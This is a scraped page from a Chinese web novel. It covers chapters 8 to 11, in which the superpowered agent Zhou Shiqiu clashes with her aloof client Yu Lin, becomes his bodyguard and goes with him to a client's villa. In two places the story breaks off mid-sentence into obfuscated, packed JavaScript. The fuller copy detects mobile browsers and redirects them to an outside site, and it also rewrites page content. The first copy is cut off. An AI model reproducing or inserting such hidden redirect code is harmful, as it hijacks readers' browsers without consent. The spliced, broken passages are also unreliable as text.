周拾秋停下脚步,视线掠过康管家,直盯向庾林,嘴角露出讥笑:“干嘛,如果我真想对你做什么,你觉得他拦得住我吗?” 庾林有些吃力地站起身,对康管家说:“不用管她,帮我泡杯茶,送到书房。” “是。” 康管家立即回应,随即收回阻拦周拾秋的手,恭敬地让到一旁。 庾林转身朝另一端的书房走去,一直走到房门口,才扭头给周拾秋递了个眼神,嘴上冷冷说了句:“过来。” 又是命令。 周拾秋心里十分不爽,可还是大度地绕过康管家,朝书房走去。 刚走进书房,她就听到庾林随口说了声“关门”,于是她带着情绪摔了门。 砰的一声巨响,将刚坐到书桌后的庾林吓得浑身一颤,他随即向周拾秋投来诧异的目光。 他似乎不明白周拾秋在发什么脾气。 书桌上的台灯散发着暖黄调的光,以一种柔和的角度打在庾林脸上,勾勒出他精致的轮廓,为他硬朗立体的五官增加了些许人气。 不知是不是灯光的原因,周拾秋感觉庾林的两颊微微泛红。 周拾秋一时没忍住多看了两眼,接着视线便对上庾林微微抬起的眼睛。 那目光如同一把锋利的刀,吓得周拾秋赶紧收回探究的视线,转头假装欣赏着书房布局,并不自然地评价道:“房间挺大嘛,呵呵……” 庾林没有理会她的胡言乱语,伸手打开了桌上的电脑,似乎在电脑上寻找着什么东西,过了好一会儿才开口:“乌鸦小姐平时都这样对待委托人?” 周拾秋一头雾水:“我又对你怎么了?上午的事还没翻篇吗?” 庾林从屏幕后露出一只眼睛,眼神很是无奈,随后隔空冲周拾秋招了招手,嘴里吐出两个字:“过来!” 周拾秋实在不喜欢他这种命令人的方式,倔强地站在原地没有挪动脚步,双手环在胸前,忍着怒气说了声:“请!” 庾林稍微一愣,满腹疑惑地望着周拾秋。 周拾秋便加重语气,又重复了一遍:“请!” 庾林终于意会,有些无奈地摇了摇头,随即如周拾秋所愿,说了一声“请”。 这下,周拾秋才满意地点点头,踱步朝书桌方向走去。她绕过书桌,走到了庾林身旁,微微俯下身,朝着屏幕望去。 电脑屏幕上显示着危网聊天界面,内容正是那晚周拾秋发给庾林的私信。 【乌鸦:你怎么这么狗?过河拆桥,不是人!】 【乌鸦:总不能后面的事也让我帮你做吧?】 【乌鸦:不行你上网查啊!】 【乌鸦:还给我差评,真好笑,你怎么不想想是不是自己的问题呢?】 【乌鸦:是不是你自己技术不行?】 【乌鸦:这么大年纪了,不会就多学。】 【乌鸦:就你这种奇葩,相亲能被人看上才有鬼!】 …… 诸如此类的污言秽语满满一屏幕,看得周拾秋恨不得一拳将屏幕砸碎。 她刚有这种想法,庾林便熄灭了屏幕,黑色的屏幕上倒映出两人的脸,一人满脸尴尬,一人饶有兴致。 在当事人的面前看自己喷人的话,多少有点难为情,周拾秋尴尬地冲庾林笑了笑,努力找补道:“那种情况下收获差评,自然会多想。” 庾林单手托着脑袋,微微偏着头,看似理解地点点头,表情却像在看好戏。 他说:“我是否应该得到一句道歉?” “所以你把我叫过来就是为了听我一句道歉?”周拾秋实在难以理解眼前男人的思维模式。 “不,只是我觉得应该先确定你是否已经反省。”庾林答得轻巧。 “如果说相亲是我的误会,那我可以道歉,但我更好奇,你为什么晕倒?那位相亲女士受我异能影响,不会攻击你才对。”周拾秋眯着眼,脸上浮现一丝别有深意的笑。 “那是我的客户,你直接道歉就好,至于别的,你不需要知道。” 庾林的态度很强硬,看上去根本不愿意告诉周拾秋真相。 “客户?”周拾秋上下打量着庾林,思考着他这样的长相能做什么,一想到他那不把任何人放在眼里的高傲劲儿,首先排除了被富婆包养这个选项。 庾林从她眼神中看出了端倪,一脸严肃说:“定制仿生人设计师,你如果实在不会用脑,可以不用。” “哦。”周拾秋似懂非懂地点点头,对于庾林带刺的话,她选择性无视掉,然后故意挑敏感话题继续追问,“听说你厌女,所以发现自己跟女客户开房后,被吓晕了吗?” 这句话果然奏效。 一直表现得游刃有余的庾林,忽然脸色阴沉,就像被人戳中了痛处。 周拾秋内心一阵窃喜,莫名感觉自己扳回一城。 庾林从座椅上起身,单手撑在桌沿,身子微微往周拾秋方向倾斜,带着些许压迫感,以居高临下的姿态直视着周拾秋。 他毫不留情面地说:“我并不厌女,但是挺讨厌你。” 这句极具针对性的攻击话语,搭配上庾林冷得刺骨的眼神,丝毫没有开玩笑的成分,如同某种宣言,直击周拾秋内心。 这样的话,属实 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忽然间,周拾秋生出些捉弄之意。 她往前一步,贴到了庾林身前,双手绕过庾林的腰,撑在桌面上,将庾林整个人圈了起来。 “你是希望我是男,还是女呢?” 周拾秋抬起头,下巴作势贴向庾林的胸口,故意天真地眨着眼,夹着嗓子询问道。 庾林浑身一颤,身子僵硬地往后仰,试图拉开与周拾秋的距离,可身后的书桌将他的路封死,他逃无可逃。 身体感觉到一片柔软的触感,眼前不怀好意的女人软乎乎地贴了上来,庾林虽然嘴上不确定她的性别,可身体的反应否定了他的想法。 庾林双手抓住周拾秋的肩膀,用力将人推开。 如果不用异能,二人力量有些悬殊,即便周拾秋努力想要抓住桌沿,还是轻易被庾林推得连连后退。 膝弯撞上座椅的皮垫,她一个没站稳,跌坐在座椅上,双手搭着扶手,片刻的失重感让她心一阵猛跳。 总算摆脱束缚的庾林,张嘴呼出一口气,往后靠回桌边,保持着距离与警惕,微微仰着头,垂眼盯着座椅上的人。 他一脸严肃地对周拾秋说:“你也不小了,脑子里装些什么乱七八糟的东西,你对谁都……没分寸?” 话到后面,语言已经有些混乱,周拾秋只能从庾林如同家长训话一样的口吻中,推测出他是在责怪她轻浮。 周拾秋舒服地坐在椅子上,双手环在胸前,回怼道:“大叔,一大把年纪了,连男女都分不清,还有脸教训别人吗?” 庾林不自然地挠了挠头,没有说话,视线慌乱地转移向别处,一丝红晕肉眼可见地爬上了耳廓。 这样的反应让周拾秋很满意,她嘴角带着胜利的笑,漫不经心地说:“你叫我来就是为了确定我的性别?”刚说完,周拾秋又感觉哪里不对劲,于是追问,“你干嘛对我的性别这么在意?” 周拾秋愈发看不懂这位傲慢又古怪的理想者。 庾林并没有正面回应,假装没听见一样,生硬地调转了话头。 “你不知道我为何找你?不如好好回想一下自己做了什么事。” 庾林身子往右侧微倾,右手掌贴在桌面,支撑着身体,神情疲倦,看上去有些累,说话的声音有气没力。 恰在此刻,房门被敲响。 康管家端着一碗茶,推门走了进来。 一股浓烈的辛辣味在房间里弥漫开来。 9. 第009章 因为康管家的出现,庾林的注意力终于从周拾秋转移,他转身离开书桌,迎上前,从康管家手里接过了茶碗。 “庾先生,时间不早了,喝完茶早点休息。” 康管家简单提醒了一句,随后便离开了书房,无需庾林吩咐,主动关上了门。 庾林闻着茶的味道,眉头微微皱起,朝着碗里吹了两口气,喝了一口茶,立马露出一脸抗拒的神情,将茶碗搁到了书桌上。 周拾秋趁着庾林远离的间隙,仔细思索着庾林话中所指的事情。 要说她做了什么,似乎只有上午离开酒店时,她为庾林送上的大礼。 想必庾林已经收到了,所以才将她叫了回来。 想通这个问题后,周拾秋心情愉悦地偷笑起来,然后抬眼看向一脸苦相,对茶味道很不满意的庾林。 周拾秋问:“你怎么知道是我?” 庾林将视线从茶碗上挪开,漫不经心地回答:“两个人同时指证根本不存在的事,除了你,还有谁做得出这种无聊的把戏?” 听庾林的话中蕴含一丝鄙夷,周拾秋非但不生气,反而有些得意。 “能揪着我不放的人,一定是太闲了,我也是为你好,帮你找点事做,不用谢。”周拾秋笑嘻嘻地嘲讽道。 就在上午离开酒店时,她在大堂里看见了那个被庾林刁难的年轻男职员,于是她悄悄接近了年轻男子。 男子名叫楚君,是态宇仿生科技的职员,专门负责客户对接,算是庾林的下属。 周拾秋稍微动用异能,改变了男子对于拜访庾林结果的认知,让他相信庾林接受了客户委托,并认定周拾秋是庾林的私人秘书,之所以来找他,是为了跟客户确定些细节。 有了这些虚假的认知后,楚君帮周拾秋致电给客户卓女士。 周拾秋通过电话,控制了卓女士的意识,向其灌输了庾林接受委托的虚假记忆。 因此,两人相互佐证的证词将庾林接受委托的事情坐实,这个庾林拒绝的委托在他不知情的情况下,莫名成了专属于他的案子。 当庾林得知时,此事已成了公司内的共识。 用脚趾头想,庾林也能猜出是谁在背后捣乱。 “既然你替我找了事,那这也将成为你的第一个任务。”庾林的反应很平淡,满不在乎地宣布道。 “什么任务?”周拾秋顿觉情况不妙,突然有种搬起石头砸了自己脚的不悦感,警惕地观察起庾林的表情。 庾林的视线从她身上轻轻扫过,几不可察地扬起嘴角,慢条斯理地说:“放心,不为难你,不需要你用脑,只是做我的保镖,跟我去见客户,全程防止别人靠近我就行。” 话中内容听上去十分简单,让周拾秋更加疑神疑鬼。 周拾秋:“就这?” 庾林:“就这。” 在被庾林知晓身份后,周拾秋一直觉得庾林可能会想借用她的能力,可只是作为保镖,似乎有点大材小用了。 周拾秋:“你树敌无数,有很多人想杀你?” 庾林:“你电影看多了。” 周拾秋:“那你干嘛害怕别人靠近?” 当她提出这个问题时,忽然想起方才进门时,康管家好像就阻止过她靠近庾林。 所以,果然是庾林下达的指令。 现在想想,上午他会客时也是躲在房间里,如果没有什么奇怪的癖好,她很难想象一个正常人能做出这种怪异的事。 庾林眼神有一瞬间的慌乱,接着强辩道:“我有洁癖,不喜欢别人靠近。” 周拾秋将信将疑。 “这也是你甚至不为客人倒杯茶的理由吗?”周拾秋看着桌上孤零零的一碗茶,嘴上忍不住一顿讽刺。 或许是说了太多话,她感觉嗓子有些干涩。 庾林又拿起桌上的茶碗喝了一口,表情依然满是嫌弃,这次却忍着厌恶感,将茶一口饮尽。 最后庾林放下空茶碗,拿纸巾擦了擦嘴,才慢悠悠地回道:“这茶你不会喜欢。” 周拾秋知道指望不上庾林以礼相待,便自顾自地走出书房。 她看见康管家还在厨房里打扫,赶紧走了过去,满脸堆着笑,向康管家讨杯茶喝。 康管家并不像他的主人那般对周拾秋充满敌意,他态度温和地询问周拾秋想喝什么茶,并友善提醒这个时间点喝茶对睡眠不利。 周拾秋指了指书房方向,笑道:“跟他喝一样的就行。” 康管家点了点头,动作麻利地给周拾秋倒了一碗茶。 又是一股浓烈的辛辣味冲入鼻腔,周拾秋可以肯定,那是姜的味道。 周拾秋捧着茶碗闻了闻,碗中似乎只是普通的姜茶,小尝一口,随着温热的茶水滑入喉咙,在一丝辛辣的刺激下,阵阵暖意自胃里散开。 “你家庾先生大半夜喝姜茶,品味这么独特?”周拾秋一边喝着茶,一边发表着感想。 康管家说:“庾先生洗了个冷水澡,害怕着凉,所以喝点姜茶驱寒。” 厨房中立马爆发出一阵大笑。 周拾秋一边捂着肚子,一边笑得前仰后合,嘴里调侃着:“哪儿来的傻子,大冬天洗冷水澡,有什么事想不开吗?” “是啊,怎么会有傻子大冬天泡在冷水里想不开呢?” 一个阴阳怪气的声音打断了周拾秋嘲笑的话语。 庾林不知何时站在了岛台边上,脸上带着阴冷的笑,直勾勾地盯着周拾秋。 一些记忆陡然浮现在脑海中,周拾秋不由得打了个寒颤,笑容就此僵在了脸上。 周拾秋一口气喝完姜茶,将茶碗递还到康管家手里,然后灰溜溜地挪到了庾林面前,咬着牙,轻声说:“你该不会想说这是我的锅吧?” 庾林冲她笑了笑,眼里却没有一丝笑意,同样压低声音回答:“乌鸦小姐,你知道为什么割腕的人要让自己泡在水里吗?” 周拾秋厚着脸皮说:“方便发现尸体的人打扫现场,血还挺不好清理的呢,呵呵……” “那你知道割腕的人都泡热水吗?” “呃……现在知道了,我下回一定注意。” “……” 趁着庾林沉默,周拾秋赶紧逃往大门口,即便心虚还要强装镇定,若无其事地对庾林说:“嘞个,如果没有别的事,我就先回家睡觉了。” 庾林似笑非笑地看着她,慢步移到客厅中,点了点头,随后又转头看了看房间里的钟,轻描淡写地说:“没事了,走吧,别忘了10点准时过来。” 周拾秋打开门的动作停滞,看了看手机上的时间,1点12分。 一来一回两个多小时,她似乎也没剩几个小时睡觉了。 想到这里,周拾秋便收回了手,毅然转身走回厨房,询问康管家是否有多余的客房让她留宿一晚。 康管家热心地为她引路,将她带到了庾林卧房隔壁的客房,详细地向她介绍了房间里各样东西放置的位置。 庾林忍不住跟了上来,强行插话道:“乌鸦小姐,你是不是应该先询问房主,是否愿意让你留宿?” “不是你叫我来的吗?”周拾秋理直气壮地反问道。 庾林一时语塞,消息的确是他发的,而消息的内容也的确是让周拾秋来酒店,他的反驳便落了下风。 “我说的应该是10点。” “随叫随到可是你说的,你叫了,我到了,有什么问题?” 周拾秋强词夺理一通诡辩,气定神闲地招呼康管家继续,不用在意庾林。 庾林竟也没再说什么,转身回了卧房,房门一闭,便再未出来过。 没了当事人在场,周拾秋趁机向康管家打听:“庾木木有洁癖?” 康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽然温热的气息喷在耳边,一个低沉的声音带着一丝挑逗对她耳语:“起来。” 那说话的声音让周拾秋陷入迷茫,她动作停滞,探索着想要听清耳边的说话声。 “你该起床了。” 那低沉的声音不知何时从挑逗变成了不耐烦,并伴随着敲门声。 周拾秋猛然从睡梦中惊醒。 房间中依然很暗,从床帘的缝隙隐约透进一丝阳光,屋外传来敲门声,以及庾林不悦的质问声:“九点半了,你打算睡多久?” 周拾秋从床头柜上摸到手机,一看时间,9点31分,她这一觉睡得挺久。 慌忙下了床,穿好衣服,周拾秋顶着乱糟糟的头发开了门。 门外的庾林已经穿戴整齐。 一身长款毛呢大衣,将身形修饰得更高挑,脖子上围着厚重的围巾,一圈圈往上卷,几乎将脸遮得只露一双眼睛,手上皮肤则完全被皮手套遮盖住。 庾林挑着眉,上下打量着周拾秋,然后用一种讽刺的口吻说:“乌鸦小姐适应力真强,在哪儿都睡得着,想必一夜好梦。” 听到“梦”字,周拾秋陡然回想起那个诡异的梦,再看看庾林的脸,顿时羞得面红耳赤。 她慌里慌张地摇着手,不自然地笑道:“做了一晚上噩梦,你这房子风水不行啊……” 说罢,退回房间,关上门,动作一气呵成。 周拾秋拍了拍发烫的脸颊,让自己冷静下来,然后转身去洗漱。 被关在门外的庾林只是恰好对上了周拾秋的视线,整张脸也如火烧一般,他拉了拉衣领透透气,转身远离了客房。 10. 第010章 周拾秋狼吞虎咽地吃完早餐,赶在十点前出了门。 庾林全然不在意他那一身不合时宜的打扮,带着周拾秋大摇大摆来到酒店大堂,引得大堂里的客人频频回首张望。 周拾秋很想假装不认识他,可刚远离一步,就被他拎着后衣领拽回了身边。 “去取车,我在门口等你。”庾林淡定地命令。 “把我当司机使?”周拾秋语气不满。 “不止,还兼保镖和秘书。” 庾林说着就将周拾秋推向了出口,自己则悠闲地踱步到窗边,找了个没人的位置坐下,安静地等待周拾秋去取车。 当周拾秋开着车回到酒店大门前,庾林掐着点,慢悠悠走了出来,打开后车门落了座。 对于庾林傲慢的态度,周拾秋感觉已经开始免疫了,也懒得说他什么,只冷冷问了一句:“去哪儿?” 庾林在手机上翻找了一会儿信息,然后将手机递到了周拾秋的面前。 周拾秋按照信息将地址录入导航,接着便跟着导航规划的路线朝着目的地行驶。 一路上,庾林完全当周拾秋是空气,不是闭目养神,就是查看资料,偶尔打个电话,电话内容也是工作。 被无视的周拾秋也没闲着,庾林闭眼她就自言自语喋喋不休,庾林看资料她就猛打方向盘,庾林打电话她就放音乐。 主打一个处处针对,就要让庾林不爽。 反复几次后,庾林终于忍不住,冷着脸嘲讽道:“你如果平时工作也这样,不知会被辞退多少次。” 周拾秋瞥了一眼车内后视镜,看见庾林一脸不悦,她嘴角根本压不住,得意洋洋地回怼道: “嘿嘿,可惜我没有这种烦恼,我自己就是老板。” 庾林并未就此闭嘴,反而咄咄逼人地回道:“所以说你不适合做危代人,建议早点销号,别出去祸害别人。” 这句话无疑戳中了周拾秋的痛处,简直是对她危代人职业生涯的巨大侮辱。 周拾秋握着方向盘的手攥紧,指节泛白,后槽牙都要咬碎了,恨不得直接一脚油门,送庾林一场车祸。 缓缓呼出一口气,周拾秋总算忍住了内心的冲动,然后带上几分讥笑,对庾林说:“呵,会不会是年龄的鸿沟呢?除了你,所有委托人对我都很满意,其中也包括你的外甥,果然老年人的想法比较难懂。” 说完这些话,周拾秋就时不时通过车内后视镜偷瞄庾林,想看他恼羞成怒的样子。 然而没能出现她期待的画面,庾林表情始终平淡如水,且是一杯快要结冰的水,他翻阅着手中文件,连眼睛都没有抬一下。 “你说小洲?哼,你确实挺适合接取他的委托,你们都一样,做事不用脑,也不顾后果。” 庾林冷哼一声,漫不经心地将周拾秋连同何洲一起贬低了一番。 “你可真是亲舅舅!”周拾秋瞪了庾林一眼,简直被气笑了,“你骂外甥就骂外甥,别带上我,我只是收钱办事,不评价委托人的生活。” 庾林看似赞同地点了点头:“说得不错,他是该受点经济制裁,免得整天雇人追女孩。” 听了庾林的话,周拾秋觉得莫名好笑,就在不久前,她还认定这位舅舅也跟他外甥一样,花钱雇她追求相亲对象。 她骤然想起一个问题:“等等,你不是相亲,干嘛要委托危代人应对客户?你当时究竟是希望我做什么?” 此前她的注意力全放在误会上,全然忘了误会背后的真相。 如果是相亲,委托人没有信心,委托给危代人,她尚能理解。 可面对客户,委托人自己明显比危代人专业,又怎么可能在专业领域假手于人呢? 面对周拾秋的追问,庾林的神色终于有了微妙变化。 他没有立即回答,顿了片刻,似乎在思考着该如何让答案听上去顺理成章。 周拾秋从车内后视镜中观察着庾林的反应,本以为终于难住这位浑身上下藏着秘密的人,谁知最终只等来一句避重就轻的回答。 庾林一本正经地说:“我想看看小洲介绍的危代人是什么水平,总不能白交会费,却什么都不做吧?” 但凡成为瑞波恩科技的VIP客户,签订私危协议,即便不发起危代委托,每个月也需支付固定会费,以维持优先服务权益。 具体会费金额,周拾秋虽不知晓,但成为协议危代人后,她每个月可以拿到保底50万的酬金,而后的委托金再另算。 可想而知,这笔会费一定不便宜。 如此一想,周拾秋还真没法挑出庾林话中的毛病。 不过,正因为要交一大笔会费,所以申请成为VIP客户的人,几乎都有危及生命的麻烦在身,不得不为自己上一层保险。 如果不是为了保命,谁会闲得慌给瑞波恩科技送钱呢? 这样一看,庾林身上必定存在某种危机,才会令他选择私危服务。 至于是什么样的危机,周拾秋感觉庾林不会对她坦白。 她调整思路,试探道:“果然还是因为厌女吧?” 庾林抬眼轻蔑一笑:“我挺讨厌你,不也见你了吗?” “所以果然还是想追求对方?” “你的大脑回路跟小洲挺搭,卧龙凤雏。” “谈生意干嘛挑大晚上,还选在酒店,正常人都会想歪好吧?” “正常人会觉得相亲第一面能开房?” “呃……这个我们能不聊吗……” 庾林从不正面回答周拾秋的问题,说的话也总是带刺,似乎时刻都在提醒周拾秋她不正常,这让周拾秋越听越窝火。 于是这个话题就此不了了之。 周拾秋什么也没探听出来,一脸沮丧地生着闷气。 庾林成功让喋喋不休的周拾秋闭上了嘴,心满意足地将资料放到一旁,脑袋靠在头枕上闭目养神。 不过周拾秋并没有消停多久,因为她没一会儿就意识到一件令她毛骨悚然的事。 一阵心惊,周拾秋猛打方向盘,将车停到了路边。 庾林被突然的变道吓了一跳,一脸疑惑地睁开眼,看向驾驶座上的周拾秋。 周拾秋此刻也是一脸震惊,她松了安全带,转身看向后排,诧异地质问:“你怎么会知道我是乌鸦?” 庾林一时不明白她提问的缘由,心思也不在这个无聊的问题上。 他看了看手表,皱着眉头回道:“是你自己说的,乌鸦小姐这么快就忘了?10点半,我需要准时到卓女士家里,你确定要停在这儿?” 被他这么一说,周拾秋扭头看了一眼导航预计路程时间,“放心,来得及。”她随口安慰一句,又继续将话题转回去,“我 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她暗自后悔不已,表面强壮镇定,嘴上找补道:“咳,我是进化者,你知道的,没有自己的账号,只能外借,等还完债,就不会用了。你答应不举报,该不会反悔吧?” 庾林忍俊不禁,拿起一旁资料,立在脸前作遮挡,嘴上故意作弄:“不举报?那不是特指进研所吗?这是两件事。” 他话音刚落,手上的资料便自动脱手,一张张白纸分散开,平躺在空气中,将他整张脸包围。 一张张薄纸绷得笔直,边缘看上去异常锋利,仿佛他稍微动一下,这些纸片便会割破他的喉咙。 那个操控着纸片的女人,目不斜视地开着车,没有说话,周身笼罩在一股肃杀的气息里,眼中流转着金色的波纹。 庾林浑身僵硬,面色晦暗不明,咽了咽口水,低沉着声音开了口:“这么胡乱使用异能,你怕进研所发现不了你?” “发现就发现吧,总不能害绮绮被罚。” 一想到唯一的朋友可能会被拉下水,周拾秋丧失了理智。 “笨蛋,你觉得外借账号和包庇进化者,哪个处罚更重?”庾林面色凝重,他自然清楚一个失控的进化者能干出什么疯狂的事。 这句话周拾秋还真听进去了,纸片重新落回庾林手中。 周拾秋有些气恼,明明要除掉身后的人她连手指都不用动,可偏偏有那么多外界因素她不得不考虑。 家里的债、进研所的追捕、家人和朋友可能面临的罪责…… 她难得陷入了沉默中,心里憋屈,气闷地继续开车。 庾林看着手里不再动弹的资料,松了一口气,僵硬的肩膀总算往下沉了些,又有点不放心地对周拾秋说:“我要真打算举报早举报了,你别乱用异能,也别乱猜。” 从庾林的话语中,周拾秋隐约感觉到他对于她异能的惧怕,这稍微让周拾秋心安。 唯有恐惧,能限制一个人的行动。 她相信庾林没说假话,他不会去举报。 这个话题就这样被终结。 不多时,车子按着导航路径到了一片别墅区,周拾秋将车停入附近停车场。 刚进停车场里,周拾秋就远远看见一个眼熟的身影,站在出入口处,观察着每一辆驶入停车场的车。 11. 第011章 这是位于别墅区外的地上停车场,仅限到访者使用。 只因别墅区内部禁止非业主车辆通行,需要访问别墅区业主的访客,需将车停在地上停车场后,在安保人员安排下,乘坐特定交通车前往指定地址。 楚君此刻正站在停车场出入口边上,神色紧张地张望,每当有车靠近停车场,他就弯着腰往车内瞅,似乎在寻找着什么人。 周拾秋开车进入停车场时,视线恰好对上楚君期待的眼神,她下意识对楚君招了招手。 楚君手指向下指了指脚下,一脸欣慰地用口型告诉周拾秋:“我在这儿等你!” 周拾秋还未明白眼下情况,就听庾林冷淡地说了声:“我叫他来带路。” 周拾秋随意点了点头,然后将车停好。 正当庾林推门准备下车之时,周拾秋转身一把揪住了庾林围巾,将人拽了回来。 围巾一圈圈收紧,死死缠住庾林的脖子,庾林急忙用手向外拉扯,避免窒息,一边喘着气,一边诧异地望着周拾秋,问:“乌鸦小姐,这时候杀人灭口不合适吧?” 周拾秋闻言才注意到庾林的脸都被勒得变了色,匆忙松了手,不好意思地冲庾林笑了笑,手指凌空画了个圈,示意庾林低头看看他的打扮。 “你打算这个样子进去?” 庾林顺着周拾秋的指引,将浑身上下打量了一番,并没有觉得哪里有问题,不明就里地反问:“不然呢?” 周拾秋眼神诚恳:“你这样恐怕连大门都进不去,跟个准备闯空门的强盗一样……” “……谢谢你的评价……” 庾林冷冷看了周拾秋一眼,表情有些复杂。他没打算多做解释,说话间重新整理好围巾,继续将大半张脸藏到后面。 周拾秋实在看不下去,下车走到后门。 在庾林疑惑的注视下,周拾秋双手抓住庾林的围巾,一圈圈帮他松了绑,随手将围巾扔在了后座,并顺便除去庾林的皮手套,再将人一把从车里拽了出来。 整个过程行云流水,庾林连骂人的机会都没有。 站在车旁的庾林看上去有些惶恐,仿佛丢失了安全感,局促地立起衣领,试图挡住露出的脸颊。 周拾秋捉住庾林的双手,拉到自己面前,一脸正气地说:“怕什么?又没人会吃了你。被害妄想症是吧?我懂!别担心,有我在,绝对不让任何人碰你一根手指!” 周拾秋感觉有被自己帅到,一脸期待着庾林感动的表情。 然后对方只是愣了愣神,随即表情冷漠地抽出双手,压下衣领,然后用手指抵住周拾秋的额头,将人往后推开一步,嘴里冷冷训道:“先管住你自己的手。” 说罢,庾林转身就往出口走。 刚走了两步,他又似乎想到了什么,停下脚步,微微转过头,嘴角带着讥笑,对周拾秋说:“既然要多此一举,那等会儿发生什么,你可都得小心兜着,秘书小姐。” 想说的话说完,庾林才心满意足地继续往前走。 周拾秋摸着额头,一副想打人的模样,冲着庾林的背影比了个友好的手势,然后嘴上故作服从地回应:“好的老板,你说的都对!”说罢关好车门,紧追庾林而去。 对于即将发生的事,周拾秋毫无头绪,更不明白见客户有什么可担心。 有一点她可以肯定,洁癖一定是谎言,否则她碰他那么多次,他早该抓狂了。 二人一前一后走到出口处与楚君汇合,楚君一见庾林就紧张得话都不会说了,双手将一叠文件抱在胸前,浑身僵硬,姿态别扭。 “总、总监,好、您好、早……” 楚君一脸苦相,舌头仿佛打了结。 庾林冷着脸回了句:“早,带路。” 周拾秋不知道庾林如何破解了楚君支离破碎的语言系统,但看见楚君的状态,又回想起第一次在60A见到二人交谈的场面,她讪笑道: “有你这样的领导可真惨,完美击碎了我对职场的美好幻想。” 庾林只是转头轻瞥她一眼。 楚君见到她却如同看到了救星,难掩欣喜的神情,精神抖擞地招呼:“周秘书,早!” 周拾秋的意识控制依然影响着楚君的认知,让他觉得周拾秋出现在这里是一件很正常的事。 周拾秋只能苦笑着朝楚君挥挥手,绕过庾林走到了楚君身旁。 面对周拾秋,楚君明显自在了许多,指了指一旁的机器对周拾秋说:“我刚才已经登记了拜访信息,就等你跟总监来了。” “嗯?你知道我要来?”周拾秋狐疑地瞥了一眼庾林。 “是啊,昨天总监通知过我。”楚君点点头,偷瞄了一眼庾林,立马将脸转向庾林看不见的角度,压低声音说,“还好你也来了,要我单独跟总监去拜访客户,感觉会折寿两年……” 庾林的性格确实让人讨厌,傲慢、无礼、不近人情,单从二人电话交谈,周拾秋就能感受到,单方面的强势足以让人窒息。 所以,听楚君这么说,周拾秋不光能理解,甚至有种感同身受的错觉,满眼同情地拍了拍楚君的肩。 “牛马的命也是命……” 周拾秋小声嘀咕,心中万分庆幸:还好我毕业没选择当牛马。 楚君并没注意她在说什么,只顾着赶紧带二人去见客户,一边触碰了机器屏幕上的按钮,一边小声说道:“真没想到总监会亲自上门拜访。” 周拾秋看见他触碰的那个按钮上写着“呼叫安保”,虽不明白接下来要干什么,但她没有追问,此刻更让她在意的是楚君的话,于是她顺着这个话题聊了下去。 周拾秋:“怎么?你家总监从不拜访客户吗?” 楚君:“你刚入职不久吧?反正三年来我没听说过,每次真需要总监亲自接待的客户,都被他安排到了天宫酒店,呵呵……” 周拾秋:“这么嚣张?当自己是老板呢?这样不会被开除吗?” 楚君闻言哈哈大笑,忽然意识到领导还在身后,急忙转身向庾林解释:“总监,我已经呼叫了安保,稍后会有人来送我们去卓女士住宅。” “嗯。” 庾林一直盯着手机屏幕,不知在看着什么,对于楚君的解释不甚在意。 见庾林没什么反应,楚君松了一口气。 楚君背对着庾林,悄悄对周拾秋说:“周秘书,小声点,当面蛐蛐总监,明天可能就被开除了。你也不想想,总监姓什么。” “庾?怎么了?” 周拾秋实在不理解楚君为何这般小心谨慎。 细想之下,她觉得大概这就是打工人和创业者的不同之处。 对于周拾秋的满脸不解,楚君也是一脸震惊,想说点什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528857|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,又有些顾虑身后的人,再看看周拾秋的打扮,忽然释怀了。 楚君强忍住八卦的心思,低声说了三个词:“自由区,广臾,查查。” 周拾秋一头雾水,可楚君已经闭上了嘴,恰在此刻,一名身穿制服的安保人员开着车来到了停车场出入口。 那人下车迎上前,脸上带着标准的微笑,微微点头示意,客气地说:“三位是态宇仿生科技的客人吧,请上车,我送你们去卓女士的住处。” 说话间,安保人员打开了车门,并抬手示意三人上车。 楚君赶紧拉着周拾秋让到一旁,点头哈腰地请庾林先上。 庾林正要往后座走,周拾秋忽然出声叫住了他,“你坐后面,我们俩谁跟你坐都难受。” 庾林动作停顿,侧身转头,眯着眼,视线扫过周拾秋和楚君的脸。 只是视线稍微接触,楚君便不寒而栗,一边摆着手,一边尴尬地笑道:“没、没有的事,怎、怎么可能难受!呵呵……周秘书说笑了。” 看到楚君这副明明不喜欢却要掩饰的样子,周拾秋觉得理想者活得真累,于是改口道:“庾总监跟谁坐都难受吧?要不你坐前面?” 豆大的汗水自楚君鬓角滑落,他眼中写满难以置信,想帮周拾秋说两句好话,挽救一下新人的职场之路。 可庾林的反应却让楚君整个人都傻了眼。 庾林什么也没说,调转方向,坐到了副驾驶座上。 周拾秋仿佛害怕庾林反悔一般,迅速帮他关上车门,然后眉开眼笑地冲楚君招招手,先行钻进了后座。 楚君茫然无措地跟了上去。 当车辆启动,缓缓穿过别墅区的大门,进入园区后,楚君神秘兮兮地小声问周拾秋:“周秘书,你有什么后台吗?” “后台?” 周拾秋犹豫着,不知道危机管理局算不算楚君口中的后台。 不等她回答,楚君已经自动脑补完毕,悄声呢喃:“也对,否则一位厌女的大佬,怎么会突然雇了一名女秘书,肯定是哪个上位者硬塞的,总监有所顾忌。” 周拾秋震惊于自己突然有了隐藏身份,可她与庾林的纠葛实在不方便解释,只好放任这个误会继续下去。 不过她更好奇的是厌女传言是如何兴起的,至少当事人对此持否认态度。 “你家总监说自己并不厌女,你这消息来源不可靠吧。”周拾秋小声八卦起来。 “总监跟你说的?看来对你还是有所顾虑,我就没见过总监与异性同框,甚至好像为了避开公司女职员,他从不到公司露面。就连需要上门汇报工作的情况,也指定男职员。你说不是厌女是啥呀?” 楚君说得煞有介事,周拾秋听得津津有味。 